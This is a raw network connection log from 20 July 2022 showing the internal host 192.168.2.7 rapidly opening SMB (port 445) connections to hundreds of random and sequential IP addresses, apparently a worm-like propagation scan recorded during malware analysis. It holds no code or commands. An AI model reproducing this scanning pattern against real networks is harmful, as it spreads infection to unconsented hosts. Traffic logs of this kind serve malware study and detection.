Jul 20, 2022 19:33:05.353945017 CEST	445	56026	213.142.151.90	192.168.2.7
Jul 20, 2022 19:33:05.358460903 CEST	56057	445	192.168.2.7	64.184.185.18
Jul 20, 2022 19:33:05.375056028 CEST	56059	445	192.168.2.7	13.158.245.147
Jul 20, 2022 19:33:05.375109911 CEST	56061	445	192.168.2.7	169.4.208.215
Jul 20, 2022 19:33:05.407454967 CEST	445	56024	131.153.221.60	192.168.2.7
Jul 20, 2022 19:33:05.442492008 CEST	56069	445	192.168.2.7	213.142.151.91
Jul 20, 2022 19:33:05.499130011 CEST	56072	445	192.168.2.7	149.229.13.50
Jul 20, 2022 19:33:05.499346018 CEST	445	56069	213.142.151.91	192.168.2.7
Jul 20, 2022 19:33:05.499450922 CEST	56069	445	192.168.2.7	213.142.151.91
Jul 20, 2022 19:33:05.499545097 CEST	56069	445	192.168.2.7	213.142.151.91
Jul 20, 2022 19:33:05.499938965 CEST	56073	445	192.168.2.7	126.222.110.49
Jul 20, 2022 19:33:05.502732038 CEST	56078	445	192.168.2.7	88.212.123.82
Jul 20, 2022 19:33:05.504501104 CEST	56081	445	192.168.2.7	174.239.63.44
Jul 20, 2022 19:33:05.505439043 CEST	56083	445	192.168.2.7	223.23.136.160
Jul 20, 2022 19:33:05.556348085 CEST	445	56069	213.142.151.91	192.168.2.7
Jul 20, 2022 19:33:05.556395054 CEST	445	56069	213.142.151.91	192.168.2.7
Jul 20, 2022 19:33:05.558720112 CEST	56084	445	192.168.2.7	69.183.185.254
Jul 20, 2022 19:33:05.565372944 CEST	56088	445	192.168.2.7	38.195.216.110
Jul 20, 2022 19:33:05.565437078 CEST	56089	445	192.168.2.7	141.163.112.212
Jul 20, 2022 19:33:05.565490961 CEST	56090	445	192.168.2.7	155.231.74.233
Jul 20, 2022 19:33:05.565619946 CEST	56094	445	192.168.2.7	110.11.84.38
Jul 20, 2022 19:33:05.565773964 CEST	56098	445	192.168.2.7	15.25.164.224
Jul 20, 2022 19:33:05.567390919 CEST	56102	445	192.168.2.7	213.142.151.91
Jul 20, 2022 19:33:05.620069027 CEST	445	56102	213.142.151.91	192.168.2.7
Jul 20, 2022 19:33:05.620168924 CEST	56102	445	192.168.2.7	213.142.151.91
Jul 20, 2022 19:33:05.620368004 CEST	56102	445	192.168.2.7	213.142.151.91
Jul 20, 2022 19:33:05.676439047 CEST	445	56102	213.142.151.91	192.168.2.7
Jul 20, 2022 19:33:06.203206062 CEST	56107	445	192.168.2.7	51.158.189.75
Jul 20, 2022 19:33:06.203702927 CEST	56108	445	192.168.2.7	121.3.139.22
Jul 20, 2022 19:33:06.373676062 CEST	56109	445	192.168.2.7	222.64.218.89
Jul 20, 2022 19:33:06.390049934 CEST	56110	445	192.168.2.7	202.164.226.79
Jul 20, 2022 19:33:06.391999006 CEST	56113	445	192.168.2.7	209.213.188.144
Jul 20, 2022 19:33:06.394013882 CEST	56115	445	192.168.2.7	160.187.121.224
Jul 20, 2022 19:33:06.401910067 CEST	56116	445	192.168.2.7	186.94.228.135
Jul 20, 2022 19:33:06.402976036 CEST	56117	445	192.168.2.7	123.232.246.98
Jul 20, 2022 19:33:06.452785015 CEST	56119	445	192.168.2.7	5.52.69.113
Jul 20, 2022 19:33:06.453341961 CEST	56120	445	192.168.2.7	79.25.80.122
Jul 20, 2022 19:33:06.456041098 CEST	56125	445	192.168.2.7	80.195.215.168
Jul 20, 2022 19:33:06.471599102 CEST	56133	445	192.168.2.7	35.110.203.54
Jul 20, 2022 19:33:06.471606970 CEST	56135	445	192.168.2.7	91.173.100.75
Jul 20, 2022 19:33:06.471712112 CEST	56136	445	192.168.2.7	175.3.196.55
Jul 20, 2022 19:33:06.471770048 CEST	56137	445	192.168.2.7	27.73.2.240
Jul 20, 2022 19:33:06.483078957 CEST	56140	445	192.168.2.7	194.162.82.19
Jul 20, 2022 19:33:06.500673056 CEST	56142	445	192.168.2.7	180.161.135.134
Jul 20, 2022 19:33:06.501765013 CEST	56144	445	192.168.2.7	71.182.48.93
Jul 20, 2022 19:33:06.625449896 CEST	56154	445	192.168.2.7	215.74.245.125
Jul 20, 2022 19:33:06.625958920 CEST	56155	445	192.168.2.7	49.6.151.78
Jul 20, 2022 19:33:06.644790888 CEST	56160	445	192.168.2.7	44.138.42.69
Jul 20, 2022 19:33:06.644828081 CEST	56163	445	192.168.2.7	33.33.115.177
Jul 20, 2022 19:33:06.644972086 CEST	56165	445	192.168.2.7	175.92.120.189
Jul 20, 2022 19:33:06.673319101 CEST	56166	445	192.168.2.7	180.4.30.147
Jul 20, 2022 19:33:06.693248987 CEST	56170	445	192.168.2.7	174.1.1.53
Jul 20, 2022 19:33:06.693380117 CEST	56171	445	192.168.2.7	23.145.33.95
Jul 20, 2022 19:33:06.693506956 CEST	56173	445	192.168.2.7	74.208.85.6
Jul 20, 2022 19:33:06.693675995 CEST	56177	445	192.168.2.7	184.127.40.106
Jul 20, 2022 19:33:07.235977888 CEST	56187	445	192.168.2.7	45.60.207.12
Jul 20, 2022 19:33:07.254221916 CEST	445	56187	45.60.207.12	192.168.2.7
Jul 20, 2022 19:33:07.254350901 CEST	56187	445	192.168.2.7	45.60.207.12
Jul 20, 2022 19:33:07.254520893 CEST	56187	445	192.168.2.7	45.60.207.12
Jul 20, 2022 19:33:07.272820950 CEST	445	56187	45.60.207.12	192.168.2.7
Jul 20, 2022 19:33:07.272849083 CEST	445	56187	45.60.207.12	192.168.2.7
Jul 20, 2022 19:33:07.273051023 CEST	445	56187	45.60.207.12	192.168.2.7
Jul 20, 2022 19:33:07.273089886 CEST	56187	445	192.168.2.7	45.60.207.12
Jul 20, 2022 19:33:07.273107052 CEST	56187	445	192.168.2.7	45.60.207.12
Jul 20, 2022 19:33:07.273436069 CEST	56187	445	192.168.2.7	45.60.207.12
Jul 20, 2022 19:33:07.290676117 CEST	445	56187	45.60.207.12	192.168.2.7
Jul 20, 2022 19:33:07.291158915 CEST	445	56187	45.60.207.12	192.168.2.7
Jul 20, 2022 19:33:07.306271076 CEST	56189	445	192.168.2.7	51.158.189.76
Jul 20, 2022 19:33:07.306667089 CEST	56190	445	192.168.2.7	121.3.139.23
Jul 20, 2022 19:33:07.337404966 CEST	56191	445	192.168.2.7	45.60.207.13
Jul 20, 2022 19:33:07.354901075 CEST	445	56191	45.60.207.13	192.168.2.7
Jul 20, 2022 19:33:07.355052948 CEST	56191	445	192.168.2.7	45.60.207.13
Jul 20, 2022 19:33:07.355207920 CEST	56191	445	192.168.2.7	45.60.207.13
Jul 20, 2022 19:33:07.358308077 CEST	56192	445	192.168.2.7	45.60.207.13
Jul 20, 2022 19:33:07.372487068 CEST	445	56191	45.60.207.13	192.168.2.7
Jul 20, 2022 19:33:07.372560024 CEST	56191	445	192.168.2.7	45.60.207.13
Jul 20, 2022 19:33:07.375543118 CEST	445	56192	45.60.207.13	192.168.2.7
Jul 20, 2022 19:33:07.375669956 CEST	56192	445	192.168.2.7	45.60.207.13
Jul 20, 2022 19:33:07.375880003 CEST	56192	445	192.168.2.7	45.60.207.13
Jul 20, 2022 19:33:07.394854069 CEST	445	56192	45.60.207.13	192.168.2.7
Jul 20, 2022 19:33:07.394974947 CEST	445	56192	45.60.207.13	192.168.2.7
Jul 20, 2022 19:33:07.394995928 CEST	445	56192	45.60.207.13	192.168.2.7
Jul 20, 2022 19:33:07.395080090 CEST	56192	445	192.168.2.7	45.60.207.13
Jul 20, 2022 19:33:07.395157099 CEST	56192	445	192.168.2.7	45.60.207.13
Jul 20, 2022 19:33:07.395478010 CEST	56192	445	192.168.2.7	45.60.207.13
Jul 20, 2022 19:33:07.413577080 CEST	445	56192	45.60.207.13	192.168.2.7
Jul 20, 2022 19:33:07.413655043 CEST	445	56192	45.60.207.13	192.168.2.7
Jul 20, 2022 19:33:07.500061989 CEST	56193	445	192.168.2.7	169.231.229.177
Jul 20, 2022 19:33:07.502415895 CEST	56196	445	192.168.2.7	121.144.128.205
Jul 20, 2022 19:33:07.503966093 CEST	56198	445	192.168.2.7	108.228.37.24
Jul 20, 2022 19:33:07.504863024 CEST	56199	445	192.168.2.7	117.28.99.228
Jul 20, 2022 19:33:07.518501997 CEST	56200	445	192.168.2.7	15.145.152.250
Jul 20, 2022 19:33:07.518995047 CEST	56201	445	192.168.2.7	59.70.246.151
Jul 20, 2022 19:33:07.562994003 CEST	56203	445	192.168.2.7	53.179.165.14
Jul 20, 2022 19:33:07.563728094 CEST	56204	445	192.168.2.7	7.81.238.166
Jul 20, 2022 19:33:07.567697048 CEST	56209	445	192.168.2.7	216.102.52.162
Jul 20, 2022 19:33:07.582070112 CEST	56218	445	192.168.2.7	66.239.89.36
Jul 20, 2022 19:33:07.582178116 CEST	56220	445	192.168.2.7	199.149.146.34
Jul 20, 2022 19:33:07.582179070 CEST	56219	445	192.168.2.7	179.133.122.9
Jul 20, 2022 19:33:07.582314968 CEST	56222	445	192.168.2.7	121.132.0.238
Jul 20, 2022 19:33:07.609169006 CEST	56225	445	192.168.2.7	90.241.30.169
Jul 20, 2022 19:33:07.610527992 CEST	56227	445	192.168.2.7	154.192.67.43
Jul 20, 2022 19:33:07.612858057 CEST	56230	445	192.168.2.7	166.205.182.243
Jul 20, 2022 19:33:07.749968052 CEST	56239	445	192.168.2.7	97.227.7.155
Jul 20, 2022 19:33:07.752850056 CEST	56240	445	192.168.2.7	54.104.217.108
Jul 20, 2022 19:33:07.790802002 CEST	56242	445	192.168.2.7	123.43.204.26
Jul 20, 2022 19:33:07.793075085 CEST	56245	445	192.168.2.7	10.185.119.190
Jul 20, 2022 19:33:07.794744968 CEST	56246	445	192.168.2.7	72.89.129.63
Jul 20, 2022 19:33:07.796631098 CEST	56251	445	192.168.2.7	174.70.121.178
Jul 20, 2022 19:33:07.812724113 CEST	56254	445	192.168.2.7	61.151.37.83
Jul 20, 2022 19:33:07.814057112 CEST	56256	445	192.168.2.7	18.77.236.17
Jul 20, 2022 19:33:07.815980911 CEST	56259	445	192.168.2.7	180.123.30.239
Jul 20, 2022 19:33:07.819438934 CEST	56264	445	192.168.2.7	113.124.92.185
Jul 20, 2022 19:33:07.820746899 CEST	56266	445	192.168.2.7	38.112.109.219
Jul 20, 2022 19:33:07.878281116 CEST	445	56219	179.133.122.9	192.168.2.7
Jul 20, 2022 19:33:08.379889011 CEST	56272	445	192.168.2.7	121.3.139.24
Jul 20, 2022 19:33:08.397252083 CEST	56273	445	192.168.2.7	51.158.189.77
Jul 20, 2022 19:33:08.420697927 CEST	56275	445	192.168.2.7	131.153.221.60
Jul 20, 2022 19:33:08.447725058 CEST	56276	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:33:08.447761059 CEST	443	56276	20.199.120.151	192.168.2.7
Jul 20, 2022 19:33:08.447839022 CEST	56276	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:33:08.448645115 CEST	56276	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:33:08.448652983 CEST	443	56276	20.199.120.151	192.168.2.7
Jul 20, 2022 19:33:08.451225996 CEST	56219	445	192.168.2.7	179.133.122.9
Jul 20, 2022 19:33:08.539367914 CEST	443	56276	20.199.120.151	192.168.2.7
Jul 20, 2022 19:33:08.539470911 CEST	56276	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:33:08.541595936 CEST	56276	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:33:08.541605949 CEST	443	56276	20.199.120.151	192.168.2.7
Jul 20, 2022 19:33:08.541800976 CEST	443	56276	20.199.120.151	192.168.2.7
Jul 20, 2022 19:33:08.542802095 CEST	56276	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:33:08.542846918 CEST	56276	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:33:08.542853117 CEST	443	56276	20.199.120.151	192.168.2.7
Jul 20, 2022 19:33:08.542948961 CEST	56276	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:33:08.580355883 CEST	443	56276	20.199.120.151	192.168.2.7
Jul 20, 2022 19:33:08.580426931 CEST	443	56276	20.199.120.151	192.168.2.7
Jul 20, 2022 19:33:08.580507040 CEST	56276	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:33:08.580616951 CEST	56276	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:33:08.580632925 CEST	443	56276	20.199.120.151	192.168.2.7
Jul 20, 2022 19:33:08.587101936 CEST	445	56275	131.153.221.60	192.168.2.7
Jul 20, 2022 19:33:08.587212086 CEST	56275	445	192.168.2.7	131.153.221.60
Jul 20, 2022 19:33:08.587342978 CEST	56275	445	192.168.2.7	131.153.221.60
Jul 20, 2022 19:33:08.624227047 CEST	56277	445	192.168.2.7	91.167.77.182
Jul 20, 2022 19:33:08.627348900 CEST	56280	445	192.168.2.7	15.189.127.241
Jul 20, 2022 19:33:08.627368927 CEST	56282	445	192.168.2.7	145.4.97.249
Jul 20, 2022 19:33:08.627394915 CEST	56283	445	192.168.2.7	192.176.41.249
Jul 20, 2022 19:33:08.639761925 CEST	56284	445	192.168.2.7	210.168.152.38
Jul 20, 2022 19:33:08.639847040 CEST	56285	445	192.168.2.7	151.132.111.169
Jul 20, 2022 19:33:08.687916040 CEST	56287	445	192.168.2.7	213.142.151.91
Jul 20, 2022 19:33:08.688945055 CEST	56288	445	192.168.2.7	84.34.169.242
Jul 20, 2022 19:33:08.689657927 CEST	56289	445	192.168.2.7	38.194.37.108
Jul 20, 2022 19:33:08.700658083 CEST	56295	445	192.168.2.7	115.166.71.147
Jul 20, 2022 19:33:08.727075100 CEST	56303	445	192.168.2.7	181.164.123.181
Jul 20, 2022 19:33:08.727338076 CEST	56305	445	192.168.2.7	134.78.121.20
Jul 20, 2022 19:33:08.727531910 CEST	56308	445	192.168.2.7	57.250.160.47
Jul 20, 2022 19:33:08.729538918 CEST	56304	445	192.168.2.7	78.108.0.224
Jul 20, 2022 19:33:08.733828068 CEST	56309	445	192.168.2.7	78.138.6.125
Jul 20, 2022 19:33:08.735685110 CEST	56312	445	192.168.2.7	144.154.200.19
Jul 20, 2022 19:33:08.736339092 CEST	56313	445	192.168.2.7	212.64.168.253
Jul 20, 2022 19:33:08.743693113 CEST	445	56219	179.133.122.9	192.168.2.7
Jul 20, 2022 19:33:08.745738029 CEST	445	56287	213.142.151.91	192.168.2.7
Jul 20, 2022 19:33:08.745918036 CEST	56287	445	192.168.2.7	213.142.151.91
Jul 20, 2022 19:33:08.749088049 CEST	56287	445	192.168.2.7	213.142.151.91
Jul 20, 2022 19:33:08.754548073 CEST	445	56275	131.153.221.60	192.168.2.7
Jul 20, 2022 19:33:08.805289030 CEST	445	56287	213.142.151.91	192.168.2.7
Jul 20, 2022 19:33:08.811788082 CEST	56323	445	192.168.2.7	131.153.221.61
Jul 20, 2022 19:33:08.866488934 CEST	56324	445	192.168.2.7	213.142.151.92
Jul 20, 2022 19:33:08.885509968 CEST	56325	445	192.168.2.7	200.110.24.178
Jul 20, 2022 19:33:08.887887001 CEST	56328	445	192.168.2.7	149.151.181.27
Jul 20, 2022 19:33:08.910043001 CEST	56329	445	192.168.2.7	70.126.106.93
Jul 20, 2022 19:33:08.910479069 CEST	56335	445	192.168.2.7	140.122.80.208
Jul 20, 2022 19:33:08.910504103 CEST	56334	445	192.168.2.7	5.180.74.129
Jul 20, 2022 19:33:08.910552025 CEST	56337	445	192.168.2.7	33.42.123.70
Jul 20, 2022 19:33:08.923645973 CEST	445	56324	213.142.151.92	192.168.2.7
Jul 20, 2022 19:33:08.923738956 CEST	56324	445	192.168.2.7	213.142.151.92
Jul 20, 2022 19:33:08.923892021 CEST	56324	445	192.168.2.7	213.142.151.92
Jul 20, 2022 19:33:08.926709890 CEST	56339	445	192.168.2.7	213.142.151.92
Jul 20, 2022 19:33:08.938772917 CEST	56342	445	192.168.2.7	31.34.63.163
Jul 20, 2022 19:33:08.943901062 CEST	56344	445	192.168.2.7	141.9.81.51
Jul 20, 2022 19:33:08.946497917 CEST	56347	445	192.168.2.7	47.135.33.175
Jul 20, 2022 19:33:08.950754881 CEST	56352	445	192.168.2.7	223.216.189.14
Jul 20, 2022 19:33:08.953099966 CEST	56354	445	192.168.2.7	190.253.35.39
Jul 20, 2022 19:33:08.980381966 CEST	445	56339	213.142.151.92	192.168.2.7
Jul 20, 2022 19:33:08.980418921 CEST	445	56323	131.153.221.61	192.168.2.7
Jul 20, 2022 19:33:08.980593920 CEST	56339	445	192.168.2.7	213.142.151.92
Jul 20, 2022 19:33:08.980902910 CEST	445	56324	213.142.151.92	192.168.2.7
Jul 20, 2022 19:33:08.980916977 CEST	445	56324	213.142.151.92	192.168.2.7
Jul 20, 2022 19:33:08.980945110 CEST	56323	445	192.168.2.7	131.153.221.61
Jul 20, 2022 19:33:08.988163948 CEST	56339	445	192.168.2.7	213.142.151.92
Jul 20, 2022 19:33:08.988503933 CEST	56323	445	192.168.2.7	131.153.221.61
Jul 20, 2022 19:33:08.994458914 CEST	56358	445	192.168.2.7	131.153.221.61
Jul 20, 2022 19:33:09.041511059 CEST	445	56339	213.142.151.92	192.168.2.7
Jul 20, 2022 19:33:09.042588949 CEST	56339	445	192.168.2.7	213.142.151.92
Jul 20, 2022 19:33:09.091046095 CEST	445	56329	70.126.106.93	192.168.2.7
Jul 20, 2022 19:33:09.095613956 CEST	445	56339	213.142.151.92	192.168.2.7
Jul 20, 2022 19:33:09.095935106 CEST	56339	445	192.168.2.7	213.142.151.92
Jul 20, 2022 19:33:09.131378889 CEST	56360	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:33:09.131405115 CEST	443	56360	20.199.120.85	192.168.2.7
Jul 20, 2022 19:33:09.131511927 CEST	56360	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:33:09.132669926 CEST	56360	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:33:09.132679939 CEST	443	56360	20.199.120.85	192.168.2.7
Jul 20, 2022 19:33:09.150201082 CEST	445	56339	213.142.151.92	192.168.2.7
Jul 20, 2022 19:33:09.156265974 CEST	445	56323	131.153.221.61	192.168.2.7
Jul 20, 2022 19:33:09.156281948 CEST	445	56323	131.153.221.61	192.168.2.7
Jul 20, 2022 19:33:09.163443089 CEST	445	56358	131.153.221.61	192.168.2.7
Jul 20, 2022 19:33:09.163600922 CEST	56358	445	192.168.2.7	131.153.221.61
Jul 20, 2022 19:33:09.164329052 CEST	56358	445	192.168.2.7	131.153.221.61
Jul 20, 2022 19:33:09.223942041 CEST	443	56360	20.199.120.85	192.168.2.7
Jul 20, 2022 19:33:09.224034071 CEST	56360	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:33:09.226115942 CEST	56360	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:33:09.226129055 CEST	443	56360	20.199.120.85	192.168.2.7
Jul 20, 2022 19:33:09.226501942 CEST	443	56360	20.199.120.85	192.168.2.7
Jul 20, 2022 19:33:09.231513023 CEST	56360	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:33:09.231597900 CEST	56360	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:33:09.231610060 CEST	443	56360	20.199.120.85	192.168.2.7
Jul 20, 2022 19:33:09.231833935 CEST	56360	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:33:09.259547949 CEST	443	56360	20.199.120.85	192.168.2.7
Jul 20, 2022 19:33:09.259675980 CEST	443	56360	20.199.120.85	192.168.2.7
Jul 20, 2022 19:33:09.259798050 CEST	56360	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:33:09.259871006 CEST	56360	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:33:09.335438967 CEST	445	56358	131.153.221.61	192.168.2.7
Jul 20, 2022 19:33:09.452013016 CEST	56362	445	192.168.2.7	121.3.139.25
Jul 20, 2022 19:33:09.469043016 CEST	56363	445	192.168.2.7	51.158.189.78
Jul 20, 2022 19:33:09.654514074 CEST	56329	445	192.168.2.7	70.126.106.93
Jul 20, 2022 19:33:09.750288963 CEST	56366	445	192.168.2.7	151.47.100.116
Jul 20, 2022 19:33:09.750940084 CEST	56367	445	192.168.2.7	158.181.228.2
Jul 20, 2022 19:33:09.753134012 CEST	56369	445	192.168.2.7	23.172.194.108
Jul 20, 2022 19:33:09.753269911 CEST	56371	445	192.168.2.7	27.247.85.170
Jul 20, 2022 19:33:09.765285015 CEST	56373	445	192.168.2.7	105.175.200.189
Jul 20, 2022 19:33:09.765326023 CEST	56374	445	192.168.2.7	29.144.209.217
Jul 20, 2022 19:33:09.813029051 CEST	56376	445	192.168.2.7	105.114.186.184
Jul 20, 2022 19:33:09.815917015 CEST	56382	445	192.168.2.7	74.21.217.139
Jul 20, 2022 19:33:09.816505909 CEST	56383	445	192.168.2.7	35.116.143.165
Jul 20, 2022 19:33:09.831132889 CEST	445	56329	70.126.106.93	192.168.2.7
Jul 20, 2022 19:33:09.851121902 CEST	56389	445	192.168.2.7	187.19.0.177
Jul 20, 2022 19:33:09.869426966 CEST	56392	445	192.168.2.7	61.158.208.135
Jul 20, 2022 19:33:09.869533062 CEST	56393	445	192.168.2.7	54.93.196.71
Jul 20, 2022 19:33:09.870018005 CEST	56395	445	192.168.2.7	123.249.132.121
Jul 20, 2022 19:33:09.877396107 CEST	445	56367	158.181.228.2	192.168.2.7
Jul 20, 2022 19:33:09.896275997 CEST	56397	445	192.168.2.7	201.93.142.208
Jul 20, 2022 19:33:09.896578074 CEST	56399	445	192.168.2.7	10.215.220.170
Jul 20, 2022 19:33:09.896714926 CEST	56400	445	192.168.2.7	12.216.112.253
Jul 20, 2022 19:33:10.000552893 CEST	56411	445	192.168.2.7	90.62.13.251
Jul 20, 2022 19:33:10.000751972 CEST	56413	445	192.168.2.7	182.176.2.191
Jul 20, 2022 19:33:10.033380032 CEST	56417	445	192.168.2.7	42.89.183.43
Jul 20, 2022 19:33:10.035465956 CEST	56418	445	192.168.2.7	16.228.82.16
Jul 20, 2022 19:33:10.035554886 CEST	56420	445	192.168.2.7	182.103.205.244
Jul 20, 2022 19:33:10.037985086 CEST	56423	445	192.168.2.7	214.231.75.181
Jul 20, 2022 19:33:10.064049959 CEST	56427	445	192.168.2.7	81.73.239.34
Jul 20, 2022 19:33:10.066318035 CEST	56428	445	192.168.2.7	187.199.30.88
Jul 20, 2022 19:33:10.069128036 CEST	56432	445	192.168.2.7	56.132.12.225
Jul 20, 2022 19:33:10.072076082 CEST	56436	445	192.168.2.7	87.55.143.133
Jul 20, 2022 19:33:10.093173981 CEST	56441	445	192.168.2.7	69.244.140.205
Jul 20, 2022 19:33:10.408665895 CEST	56445	445	192.168.2.7	45.60.207.13
Jul 20, 2022 19:33:10.425371885 CEST	445	56445	45.60.207.13	192.168.2.7
Jul 20, 2022 19:33:10.425559998 CEST	56445	445	192.168.2.7	45.60.207.13
Jul 20, 2022 19:33:10.425766945 CEST	56445	445	192.168.2.7	45.60.207.13
Jul 20, 2022 19:33:10.442214966 CEST	445	56445	45.60.207.13	192.168.2.7
Jul 20, 2022 19:33:10.442255974 CEST	445	56445	45.60.207.13	192.168.2.7
Jul 20, 2022 19:33:10.442270994 CEST	445	56445	45.60.207.13	192.168.2.7
Jul 20, 2022 19:33:10.442373991 CEST	56445	445	192.168.2.7	45.60.207.13
Jul 20, 2022 19:33:10.442457914 CEST	56445	445	192.168.2.7	45.60.207.13
Jul 20, 2022 19:33:10.442687035 CEST	56445	445	192.168.2.7	45.60.207.13
Jul 20, 2022 19:33:10.451406956 CEST	56367	445	192.168.2.7	158.181.228.2
Jul 20, 2022 19:33:10.458982944 CEST	445	56445	45.60.207.13	192.168.2.7
Jul 20, 2022 19:33:10.461236000 CEST	445	56445	45.60.207.13	192.168.2.7
Jul 20, 2022 19:33:10.502945900 CEST	56446	445	192.168.2.7	45.60.207.14
Jul 20, 2022 19:33:10.519768000 CEST	445	56446	45.60.207.14	192.168.2.7
Jul 20, 2022 19:33:10.519897938 CEST	56446	445	192.168.2.7	45.60.207.14
Jul 20, 2022 19:33:10.520004988 CEST	56446	445	192.168.2.7	45.60.207.14
Jul 20, 2022 19:33:10.530386925 CEST	56447	445	192.168.2.7	121.3.139.26
Jul 20, 2022 19:33:10.531502008 CEST	56448	445	192.168.2.7	45.60.207.14
Jul 20, 2022 19:33:10.537954092 CEST	445	56446	45.60.207.14	192.168.2.7
Jul 20, 2022 19:33:10.538049936 CEST	56446	445	192.168.2.7	45.60.207.14
Jul 20, 2022 19:33:10.548238993 CEST	445	56448	45.60.207.14	192.168.2.7
Jul 20, 2022 19:33:10.548261881 CEST	56449	445	192.168.2.7	51.158.189.79
Jul 20, 2022 19:33:10.548321009 CEST	56448	445	192.168.2.7	45.60.207.14
Jul 20, 2022 19:33:10.548465967 CEST	56448	445	192.168.2.7	45.60.207.14
Jul 20, 2022 19:33:10.564986944 CEST	445	56448	45.60.207.14	192.168.2.7
Jul 20, 2022 19:33:10.565006971 CEST	445	56448	45.60.207.14	192.168.2.7
Jul 20, 2022 19:33:10.567709923 CEST	445	56448	45.60.207.14	192.168.2.7
Jul 20, 2022 19:33:10.567873955 CEST	56448	445	192.168.2.7	45.60.207.14
Jul 20, 2022 19:33:10.567925930 CEST	56448	445	192.168.2.7	45.60.207.14
Jul 20, 2022 19:33:10.570933104 CEST	56448	445	192.168.2.7	45.60.207.14
Jul 20, 2022 19:33:10.571739912 CEST	445	56449	51.158.189.79	192.168.2.7
Jul 20, 2022 19:33:10.576548100 CEST	445	56367	158.181.228.2	192.168.2.7
Jul 20, 2022 19:33:10.589597940 CEST	445	56448	45.60.207.14	192.168.2.7
Jul 20, 2022 19:33:10.875045061 CEST	56452	445	192.168.2.7	143.6.76.179
Jul 20, 2022 19:33:10.875714064 CEST	56453	445	192.168.2.7	82.140.148.216
Jul 20, 2022 19:33:10.877031088 CEST	56455	445	192.168.2.7	158.65.48.179
Jul 20, 2022 19:33:10.878376961 CEST	56457	445	192.168.2.7	192.201.111.216
Jul 20, 2022 19:33:10.890480042 CEST	56459	445	192.168.2.7	203.5.251.218
Jul 20, 2022 19:33:10.891333103 CEST	56460	445	192.168.2.7	95.164.251.107
Jul 20, 2022 19:33:10.940380096 CEST	56462	445	192.168.2.7	78.96.212.92
Jul 20, 2022 19:33:10.940427065 CEST	56463	445	192.168.2.7	1.193.5.249
Jul 20, 2022 19:33:10.940707922 CEST	56470	445	192.168.2.7	128.150.34.25
Jul 20, 2022 19:33:10.986829042 CEST	56477	445	192.168.2.7	91.67.126.205
Jul 20, 2022 19:33:10.987622023 CEST	56478	445	192.168.2.7	162.157.11.16
Jul 20, 2022 19:33:10.989583015 CEST	56481	445	192.168.2.7	191.76.38.200
Jul 20, 2022 19:33:11.007850885 CEST	56482	445	192.168.2.7	101.12.65.205
Jul 20, 2022 19:33:11.032824993 CEST	56483	445	192.168.2.7	101.250.107.19
Jul 20, 2022 19:33:11.033039093 CEST	56485	445	192.168.2.7	96.233.31.32
Jul 20, 2022 19:33:11.033149004 CEST	56486	445	192.168.2.7	121.81.19.240
Jul 20, 2022 19:33:11.140734911 CEST	56500	445	192.168.2.7	207.150.141.60
Jul 20, 2022 19:33:11.141422987 CEST	56498	445	192.168.2.7	130.158.227.66
Jul 20, 2022 19:33:11.158016920 CEST	56504	445	192.168.2.7	137.102.24.147
Jul 20, 2022 19:33:11.158041954 CEST	56449	445	192.168.2.7	51.158.189.79
Jul 20, 2022 19:33:11.158083916 CEST	56503	445	192.168.2.7	160.161.220.76
Jul 20, 2022 19:33:11.158152103 CEST	56506	445	192.168.2.7	135.133.180.177
Jul 20, 2022 19:33:11.158365965 CEST	56509	445	192.168.2.7	132.5.53.97
Jul 20, 2022 19:33:11.180619955 CEST	445	56449	51.158.189.79	192.168.2.7
Jul 20, 2022 19:33:11.188271046 CEST	56513	445	192.168.2.7	193.235.66.16
Jul 20, 2022 19:33:11.188883066 CEST	56514	445	192.168.2.7	55.167.143.146
Jul 20, 2022 19:33:11.190851927 CEST	56518	445	192.168.2.7	215.197.59.57
Jul 20, 2022 19:33:11.194489956 CEST	56523	445	192.168.2.7	46.144.98.178
Jul 20, 2022 19:33:11.220032930 CEST	56527	445	192.168.2.7	216.183.194.119
Jul 20, 2022 19:33:11.608649015 CEST	56531	445	192.168.2.7	121.3.139.27
Jul 20, 2022 19:33:11.624216080 CEST	56532	445	192.168.2.7	51.158.189.80
Jul 20, 2022 19:33:12.003420115 CEST	56537	445	192.168.2.7	198.126.138.6
Jul 20, 2022 19:33:12.004076958 CEST	56538	445	192.168.2.7	130.216.215.111
Jul 20, 2022 19:33:12.006576061 CEST	56542	445	192.168.2.7	54.250.88.147
Jul 20, 2022 19:33:12.015650034 CEST	56543	445	192.168.2.7	125.31.147.1
Jul 20, 2022 19:33:12.016675949 CEST	56544	445	192.168.2.7	116.15.248.107
Jul 20, 2022 19:33:12.068073988 CEST	56549	445	192.168.2.7	209.36.73.58
Jul 20, 2022 19:33:12.068272114 CEST	56555	445	192.168.2.7	118.219.250.221
Jul 20, 2022 19:33:12.068388939 CEST	56557	445	192.168.2.7	147.41.157.4
Jul 20, 2022 19:33:12.111865044 CEST	56561	445	192.168.2.7	57.154.105.173
Jul 20, 2022 19:33:12.112663984 CEST	56562	445	192.168.2.7	176.208.171.219
Jul 20, 2022 19:33:12.114676952 CEST	56565	445	192.168.2.7	66.253.24.241
Jul 20, 2022 19:33:12.124533892 CEST	56566	445	192.168.2.7	154.220.156.115
Jul 20, 2022 19:33:12.160540104 CEST	56567	445	192.168.2.7	213.142.151.92
Jul 20, 2022 19:33:12.162744999 CEST	56568	445	192.168.2.7	75.157.183.124
Jul 20, 2022 19:33:12.162853003 CEST	56570	445	192.168.2.7	198.178.62.186
Jul 20, 2022 19:33:12.162960052 CEST	56572	445	192.168.2.7	132.40.102.98
